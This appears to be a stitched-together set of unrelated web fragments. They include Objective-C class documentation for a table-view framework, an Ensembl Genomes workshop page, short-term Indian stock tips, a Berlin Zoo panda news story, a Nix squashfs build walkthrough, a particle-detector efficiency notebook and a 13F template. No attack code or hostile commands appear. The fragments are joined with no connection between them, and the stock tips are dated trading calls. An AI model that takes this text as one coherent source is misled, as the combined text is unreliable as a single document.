This class functions as a section for SCTableViewModel. Every ‘SCTableViewSection’ can contain any number of SCTableViewCell(s).
See moreDeclaration
Objective-C
@interface SCTableViewSection : NSObject { SCTableViewModel *_ownerTableViewModel; NSObject *boundObject; SCDataStore *boundObjectStore; NSString *boundPropertyName; BOOL commitChangesLive; BOOL commitCellChangesLive; NSString *headerTitle; CGFloat headerHeight; UIView *headerView; NSString *footerTitle; CGFloat footerHeight; UIView *footerView; SCSectionActions *sectionActions; NSMutableArray *cells; SCCellActions *cellActions; NSArray *cellsImageViews; SCExpandCollapseCell *expandCollapseCell; SCDetailViewControllerOptions *detailViewControllerOptions; SCDetailViewControllerOptions *newItemDetailViewControllerOptions; NSString *themeStyle; NSString *firstCellThemeStyle; NSString *evenCellsThemeStyle; NSString *oddCellsThemeStyle; NSString *lastCellThemeStyle; }
-
This class functions as an SCTableViewModel section that is able to automatically generate its cells from a given bound object’s properties. If the bound object is given without an extended class definition (SCClassDefinition), then cells will only be generated for properties of type NSString and NSNumber, and will be either of type SCTextFieldCell or SCNumericTextFieldCell, respectively. If an SCClassDefinition is provided for the bound object, a full fledged section of cells will be generated.
@note: For your convenience, the tag property of each generated cell will have a number corresponding to the index of it’s corresponding property in bound object.
See moreSee
SCArrayOfObjectsSection, SCObjectCell.Declaration
Objective-C
@interface SCObjectSection : SCTableViewSection { SCPropertyGroup *propertyGroup; }
-
This class functions as an SCTableViewModel section that is able to represent an array of any kind of items and automatically generate its cells from these items. The section is also able to handle all end-user interaction with the generated cells, including adding, editing, deleting, and moving the cells. When cells are added or edited, detail views are automatically generated for this purpose. To enable adding cells, the class’ user should set the addButtonItem property of the section to a valid UIBarButtonItem, the section then will automatically add new items when the button is tapped.
When adding new items to the array, the section starts by first asking the model’s data source to provide a new item using its tableViewModel:newItemForArrayOfItemsSectionAtIndex: SCTableViewModelDataSource protocol method.
This class is an abstract base class. Subclasses of this class must override the buildDetailTableModel method. This method should return a model for the detail view to display.
Warning
This is an abstract base class, you should never make any direct instances of it.
See moreSee
SCArrayOfStringsSection, SCArrayOfObjectsSection.
Declaration
Objective-C
@interface SCArrayOfItemsSection : SCTableViewSection <SCViewControllerDelegate, SCTableViewControllerDelegate> { BOOL _isFetchingItems; BOOL itemsInSync; SCTableViewModel *activeDetailModel; NSMutableArray *cellReuseIdentifiers; NSObject *tempItem; SCDataStore *dataStore; SCDataFetchOptions *dataFetchOptions; BOOL autoFetchItems; UITableViewCellAccessoryType itemsAccessoryType; BOOL allowAddingItems; BOOL allowDeletingItems; BOOL allowMovingItems; BOOL allowEditDetailView; BOOL allowRowSelection; BOOL skipNewItemDetailView; BOOL autoSelectNewItemCell; NSString *cellIdentifier; UIBarButtonItem *addButtonItem; SCTableViewCell *placeholderCell; SCTableViewCell *addNewItemCell; BOOL addNewItemCellExistsInNormalMode; BOOL addNewItemCellExistsInEditingMode; }
-
This class functions as an SCTableViewModel section that is able to represent an array of string items and automatically generate its cells from these items. The class inherits all its funtionality from its superclass: SCArrayOfItemsSection, except that its items array can only contain items of type NSString.
See moreDeclaration
Objective-C
@interface SCArrayOfStringsSection : SCArrayOfObjectsSection
-
This class functions as an SCTableViewModel section that is able to provide selection functionality. The cells in this section represent different items that the end-user can select from, and they are generated from NSStrings in its items array. Once a cell is selected, a checkmark appears next to it, similar to Apple’s Settings application where a user selects a Ringtone for their iPhone. The section can be configured to allow multiple selection and to allow no selection at all.
There are three ways to set/retrieve the section’s selection:
- Through binding an object to the section, and specifying a property name to bind the selection index result to. The bound property must be of type NSMutableSet if multiple selection is allowed, otherwise it must be of type NSNumber or NSString.
- Through binding a key to the section and setting/retrieving through the ownerTableViewModel modelKeyValues property.
Through the selectedItemsIndexes or selectedItemIndex properties.
See moreSee
SCSelectionCell.
Declaration
Objective-C
@interface SCSelectionSection : SCArrayOfStringsSection { BOOL boundToNSNumber; BOOL boundToNSString; NSIndexPath *lastSelectedRowIndexPath; BOOL allowMultipleSelection; BOOL allowNoSelection; NSUInteger maximumSelections; BOOL autoDismissViewController; NSMutableSet *_selectedItemsIndexes; }
-
This class functions as a section that provides the end-user with an automatically generated list objects to choose from.
The selection items are provided in the form of an array of NSObjects, called the items array. ‘SCObjectSelectionSection’ can be configured to allow multiple selection and to allow no selection at all. If allow multiple selection is disabled, then the bound property name of this section must be of type NSObject, otherwise it must be of type NSMutableSet.
See moreSee
SCObjectSelectionCell.Declaration
Objective-C
@interface SCObjectSelectionSection : SCArrayOfObjectsSection { NSIndexPath *lastSelectedRowIndexPath; NSMutableSet *selectedItemsIndexes; BOOL allowMultipleSelection; BOOL allowNoSelection; NSUInteger maximumSelections; BOOL autoDismissViewController; SCDataDefinition *intermediateEntityDefinition; }
-
The SCTheme class enables CSS-like styling of UIView (or any of its subclasses). Using CSS-like text files, any UIView property with a supported data type can be set. Key-path property format is fully supported (e.g. layer.cornerRadius: 5). All pointer data types accept nil as value (e.g. backgroundView: nil;).
Supported property data types:
Data Type -> Format in .sct file
NSString* -> A string between single or double quotes. Example: detailTextLabel.text: “Hello World!”;
CGFloat -> A normal number. Example: height: 60;
BOOL -> Possible values: TRUE, FALSE, YES, NO. All case insensitive. Example: clipsToBounds: NO;
UIColor* -> Any UIColor color name constructor. Example: backgroundColor: blueColor; or rgb(redValue, greenValue, blueValue, optionalAlphaValue) Example: backgroundColor: rgb(100, 0, 255); or #hexValue Example: backgroundColor: #CC33FF or A string containing an image resource. Example: backgroundColor: “background.png”;
CGColorRef -> Format identical to UIColor. Example: layer.borderColor: redColor;
CGRect -> CGRect(x, y, width, height) Example: textLabel.frame: CGRect(10, 10, 180, 30);
CGSize -> CGSize(width, height) Example: textLabel.shadowColor: darkGrayColor; textLabel.shadowOffset: CGSize(1, 1);
UIImage* -> A string containing the image resource. Example: backgroundImage: “background.png” or A string containing the image resource and capInsets(top, left, bottom, right). Example: backgroundImage: “background.png” capInsets(0,0,0,0)
UIFont* -> Font name and size separated by a space. A good resource for font names is: http://iosfonts.com/ Example: textLabel.font: Courier-Bold 12;
UIView* -> A string containing an image resource that will be loaded into a UIImageView. Example: backgroundView: “background.png”;
UITableViewCellSeparatorStyle Any valid UITableViewCellSeparatorStyle constant. Example: separatorStyle: UITableViewCellSeparatorStyleNone;
Sample theme file: MyTheme.sct UINavigationBar { backgroundImage: “navbar-background.png”; }
UITableView { backgroundView: “leather-background.png”; }
SCTableViewSection { firstCellThemeStyle: firstCell; oddCellsThemeStyle: oddCell; evenCellsThemeStyle: evenCell; lastCellThemeStyle: lastCell; }
firstCell { backgroundView: “firstCell-background.png”; selectedBackgroundView: “selectedFirstCell-background.png”; }
oddCell { backgroundView: “oddCell-background.png”; selectedBackgroundView: “selectedOddCell-background.png”; }
evenCell { backgroundView: “evenCell-background.png”; selectedBackgroundView: “selectedEvenCell-background.png”; }
lastCell { backgroundView: “lastCell-background.png”; selectedBackgroundView: “selectedLastCell-background.png”; }
Sample code needed to use the above theme file: self.tableViewModel.theme = [SCTheme<EMAIL_ADDRESS>See moreDeclaration
Objective-C
@interface SCTheme : NSObject
-
This class functions as a means to define NSUserDefaults fields that the framework can automatically generate a user interface for. As with all other types of binding, once the UI is generated, the framework will also be responsible for automatically reading and writing the values to NSUserDefaults.
Sample use: // Create the user defaults definition SCUserDefaultsDefinition *userDefaultsDef = [SCUserDefaultsDefinition definitionWithUserDefaultsKeyNamesString: @“Login Details:(username,password):Will be automatically signed in”]; SCPropertyDefinition *passwordDef = [userDefaultsDef propertyDefinitionWithName:@“password”]; passwordDef.attributes = [SCTextFieldAttributes attributesWithPlaceholder:nil secureTextEntry:YES autocorrectionType:UITextAutocorrectionTypeNo autocapitalizationType:UITextAutocapitalizationTypeNone];
// Generate the UI for the user defaults [self.tableViewModel generateSectionsForUserDefaultsDefinition:userDefaultsDef];
See moreSee
SCPropertyDefinition.Declaration
Objective-C
@interface SCUserDefaultsDefinition : SCDictionaryDefinition
-
SCUserDefaultsStore is an SCDataStore subclass that encapsulates the NSUserDefaults storage, providing means for the SC framework to communicate with this storage to fetch, add, update and remove user defaults.
Note
It is very rare when you’ll need to create an SCUserDefaultsStore instance yourself, as it’s typically automatically created for you when you use SCUserDefaultsDefinition. For example, when you use the SCTableViewModel method called [SCTableViewModel generateSectionsForUserDefaultsDefinition:], the model automatically sets its sections’ dataStore property by calling your userDefaultsDefinition’s [SCDataDefinition generateCompatibleDataStore:] method.
See moreNote
For more information on data stores, check out the SCDataStore base class documentation.
Declaration
Objective-C
@interface SCUserDefaultsStore : SCDataStore
-
This class functions as a means to simplify development with SCTableViewModel.
SCViewController conveniently provides several ready made navigation bar types based on SCNavigationBarType, provided that it is a subview of a navigation controller. ‘SCViewController’ also defines placeholders for a tableView and a tableViewModel that the user can allocate and assign. If a tableViewModel is defined, SCViewController also connects its doneButton (if present) to tableViewModel’s commitButton automatically.
In addition, SCViewController fully manages memory warnings and makes sure the assigned table view is released once a memory warning occurs and reloaded once the view controller is loaded once more.
Finally, SCViewController provides several useful actions (SCViewControllerActions) and delegate methods (SCViewControllerDelegate) that notify the delegate object of events like the view appearing or disappearing.
See moreNote
You do NOT have to use ‘SCViewController’ in order to be able to use SCTableViewModel, but it’s highly recommended that you do so whenever you need a UIViewController.Declaration
Objective-C
@interface SCViewController : UIViewController <UISplitViewControllerDelegate, UIPopoverControllerDelegate> { UITableView *_tableView; }
-
This class hosts a set of view controller action blocks. Once an action is set to a desired code block, it will execute the block as soon as the action occurs.
SCViewControllerAction_Block syntax: action = ^(SCViewController *viewController) { // Your code here };
See moreDeclaration
Objective-C
@interface SCViewControllerActions : NSObject


The Outreach team is the main contact point for EnsemblGenomes users. We respond to queries by email, ensure that problems identified are resolved by liaising with the Ensembl Genomes team, and we give workshops, demos and presentations on the use of Ensembl Genomes worldwide. An example of a typical browser workshop is given below.
Our standard 1-day browser workshop offers participants the possibility of gaining considerable hands-on experience in the use of the Ensembl Genomes browser coupled with the necessary background information. The workshop is primarily targeted at wet lab researchers and individuals with an interest in bioinformatics.
The workshop consists of a series of modules, listed below. Most modules consist of a presentation, followed by interactive examples and exercises. Module content can be tailored to the research interest of the participants, just state the main species of interest.
A typical one-day workshop will consist of the first three modules, plus two other modules of your choice:
Participants are encouraged to bring problems/questions about their research and we will try to tackle these during the workshop using Ensembl Genomes. The only prerequisite for the browser workshop is general knowledge of molecular biology / genomics and a familiarity with web browsers.
In addition the Outreach team regularly organises workshops on the use of the Ensembl Application Programming Interfaces (APIs). These workshops normally are 2 or 3 days. If you are interested in hosting a workshop or want more information, please contact Xosé Fernández.
For academic institutions our courses are free of charge. However we request that travel, accommodation and subsistence costs of the instructor(s) are reimbursed by the host.
Whilst our browser and API workshops are ideal for researchers who make occasional use of our data, we can also provide help for users who wish to set up their own Ensembl/EnsemblGenomes installation, customise an Ensembl-based site and develop their own display pages.
A developer workshop is held approximately once a year, and of course there is our developers' mailing list where you can post questions to the whole Ensembl team.
For a more immersive experience, the "Geek for a Week" scheme allows developers and researchers to work alongside Ensembl team members for a short intensive collaborative project.
We don't usually make and give out certificates of attendance to participants; however if the host wishes to do this, this is fine by us and we will be happy to sign them!


--- layout: project categories: projects client: Liftoff client_url: http://liftoff.io client_color: 7EBB22 video_title: "Re-engagement Ads" video_id: 214749425 video_thumb: liftoff-reengagement-ads.png featured: true ---
Director — Cole Mueller
Producer — Vitascope Arts
Editor — Cole Mueller
VFX — Richard Cabrera


Top buy and sell ideas by Prakash Gaba, Ashwani Gujral, Mitesh Thakkar for short term
Ashwani Gujral of ashwanigujral.com advices selling Tata Steel with a stop loss of Rs 390, target of Rs 375.
by Moneycontrol NewsBenchmark indices ended marginally lower after rangebound trade on November 21 with Nifty failing to hold above 12,000 level. At close, the Sensex was down 76.47 points at 40,575.17, while Nifty was down 30.70 points at 11,968.40.
According to the pivot charts, the key support level for Nifty is placed at 11,940.8, followed by 11,913.2. If the index continues moving up, key resistance levels to watch out for are 12,012.1 and 12,055.8.
In an interview to CNBC-TV18, top market experts recommend which stocks to bet on for good returns:
Prakash Gaba of prakashgaba.com
Buy Bajaj Auto with stop loss at Rs 3160 and target of Rs 3250
Buy Bosch with stop loss at Rs 15500 and target of Rs 16500
Sell BPCL with stop loss at Rs 525 and target of Rs 500
Sell SAIL with stop loss at Rs 37 and target of Rs 34
Ashwani Gujral of ashwanigujral.com
Sell Tata Steel with a stop loss of Rs 390, target of Rs 375
Sell L&T Finance with a stop loss of Rs 98, target of Rs 90
Buy SBI with a stop loss of Rs 326, target of Rs 342
Buy Apollo Hospitals with a stop loss of Rs 1440, target of Rs 1500
Buy Adani Ports with a stop loss of Rs 367, target of Rs 384
Mitesh Thakkar of miteshthakkar.com
Buy Dr Reddy's Laboratories with a stop loss of Rs 2840 for target of Rs 2960
Buy Eicher Motors with a stop loss of Rs 21700 for target of Rs 22500
Sell Escorts with a stop loss of Rs 662 for target of Rs 631
Sell Titan Company with a stop loss of Rs 1162 for target of Rs 1120
Disclaimer: The views and investment tips expressed by investment experts on moneycontrol.com are their own, and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions.


General
Max Links:
Total
Host
Project
Check Interval (sec):
Open Tab:
Recent Pages
Watch Pages
Watches
No watch pages.
To add watch pages,
Context Menu -> Scrapbox Recent Pages -> Watch this page
Save


rect
rect(x, y, width, height, roundness=0.0, draw=True)
Draws a rectangle to the screen. The first two parameters set the location (measured from the rectangle's top-left corner), the third sets the width, and the fourth sets the height. An optional fifth parameter controls the corner roundness of the rectangle.
a path containing the rectangle


Boy oh boy! Two male pandas make public debut at Berlin Zoo
by AFPThe cuteness level at Berlin Zoo doubled on Monday when a pair of twin panda cubs made their public debut, with the zoo revealing the cuddly bundles of fur were both boys.
The little ones were born at the zoo on August 31st but in keeping with Chinese tradition they were only named after 100 days.
Speaking before a crowd of excited reporters at the Panda Garden, zoo director Andreas Knieriem announced that the cubs would go by the names of Meng Xiang, meaning "long-awaited dream" and Meng Yuan, or "dream come true".
The twins, weighing around six kilos each, then made their long-awaited first appearance before the world's media.
READ ALSO: Berlin panda Meng Meng gives birth to twins
Wheeled out in a glass-cased "panda bed", they were seen lounging close together on a heated mattress.
One of the cubs appeared half-asleep and unfazed by the attention, while his more active brother repeatedly turned his back on the press pack, prompting coos and laughter.
But the general public will have to wait a little longer for their own glimpse of the zoo's newest stars.
The two twin pandas together on a heated mattress on Monday morning. Photo: DPA
The cubs will be kept away from visitors "until they can walk properly" and are more familiar with their surroundings, Knieriem said, expected to be sometime in early 2020.
The birth of the cubs has delighted Berlin's oldest zoo as it is notoriously hard to breed pandas -- and twins are even rarer.
Their mother Meng Meng and male giant panda Jiao Qing arrived in Berlin in June 2017 to great fanfare.
READ ALSO: Berlin zoo confirms panda Meng Meng is pregnant
China lends pandas to zoos around the world -- a programme dubbed "panda diplomacy".
Berlin zoo pays €13.5 million for a 15-year contract to host the adult pandas, with most of the money going towards a conservation and breeding research programme in China.
While the twin cubs were born in Berlin, they remain Chinese and must be returned to China within four years after they have been weaned.
About 1,864 pandas remain in the wild in China, up from around 1,000 in the late 1970s, according to the environmental group WWF.
Just over 400 pandas live in zoos around the world, in conservation projects set up with Beijing.
The species is considered "vulnerable" to extinction by the International Union for Conservation of Nature.


Not recommended to calculate primes for large 8 (or greater) digit numbers since doing so might freeze/crash your browser (depending on your hardware)


Wolf Guardians Pet Care Center
Home
About
Services & Conditions
Apoinment
WOLF GUARDIANS PET CARE
only the best
FOR YOUR BEST FRIEND
welcome


$ nix-build -A rootfs
/nix/store/qxzg4dkjnp6n6j2lj0b2byv96p3n5d5v-squashfs.img
The rootfs derivation, defined as config.system.build.squashfs
, creates a squashfs image. It contains the closures of toplevel and a registration file.
The rootfs is also available as an ext4 image.
To explore the result, we can extract the content of the rootfs in a temporary directory as follow:
$ mkdir tmp ; cd tmp
$ unsquashfs $(readlink -fn ../result)
$ find -maxdepth 2
.
./squashfs-root
./squashfs-root/5f18ah2yzyf4mmnn8jqqb7aws91rw55v-ssh_host_rsa_key.pub
./squashfs-root/wqfpawgsigwnz2bk1ygkfya7802jxl9c-iputils-20180629
./squashfs-root/p54mjqlrngzzyb2892489b4hffgz03g2-aws-sdk-cpp-1.5.17
./squashfs-root/jaiq6xgyhhl84826lrsxbgdy5sm9n8wx-nixos.conf
...
The derivation is defined as a call to nixpkgs/nixos/lib/make-squashfs.nix
, passing toplevel as argument. The closure is constructed by nixpkgs/build-support/closure-info.nix
.
A call to nix-store --load-db
with the registration file found in the rootfs is done in a runit script. I wonder if it could be done directly when the rootfs is mounted.


The purpose of this notebook and presentation is to provide documentation and validation of the efficiency measurements.
The PhaseIPixelNtuplizer package (used to process the CMSSW output) is available at:
https://github.com/jkarancs/PhaseIPixelNtuplizer
The PhaseIEfficiencyPlotter package (used to create plots) is available at:
The Ntuple should contain plots listed in different directories. Each of these directories should correspont to a delay scenario. This code prints out the delay scenarios:
for key in ROOT.gDirectory.GetListOfKeys():
print key.GetTitle()
Delay_4000.00 Delay_4125.00 Delay_4075.00 Delay_3925.00 Delay_4025.00 Cluster_size_X_vs_delay Cluster_size_Y_vs_delay Efficiency_vs_delay
The delay scenarios should have been printed out ("Delay -9999.00" is saved for unknown delay scenarios or simulations).
mainDir = ROOT.gDirectory.Get("Efficiency_vs_delay/Graphs")
for index, directory in enumerate(mainDir.GetListOfKeys()):
sys.stdout.write("[ %s ] " % directory.GetTitle())
[ BpixFpix ] [ LayersNegativePositive ] [ DisksInnerOuter ] [ LayerDetailed ]
canvas.Draw()
canvases[0].Draw()
canvases[1].Draw()
canvases[0].Draw()
canvases[1].Draw()
canvases[2].Draw()
canvases[3].Draw()
canvases[0].Draw()
canvases[1].Draw()
canvases[2].Draw()
canvases[3].Draw()
canvases[4].Draw()
canvases[5].Draw()
canvases[6].Draw()
canvases[7].Draw()


×
* Note that value is based on the market value at the end of the day on at the end of the quarter the 13F was filed.
| FUND |
NUMBER OF SHARES |
VALUE$) |
PUT OR CALL |
{% for fund in funds %}
| {{fund.fund}} |
{{fund.share_prn_amount}}
|
{{ fund.value }} |
{{fund.put_call}} |
{% endfor %}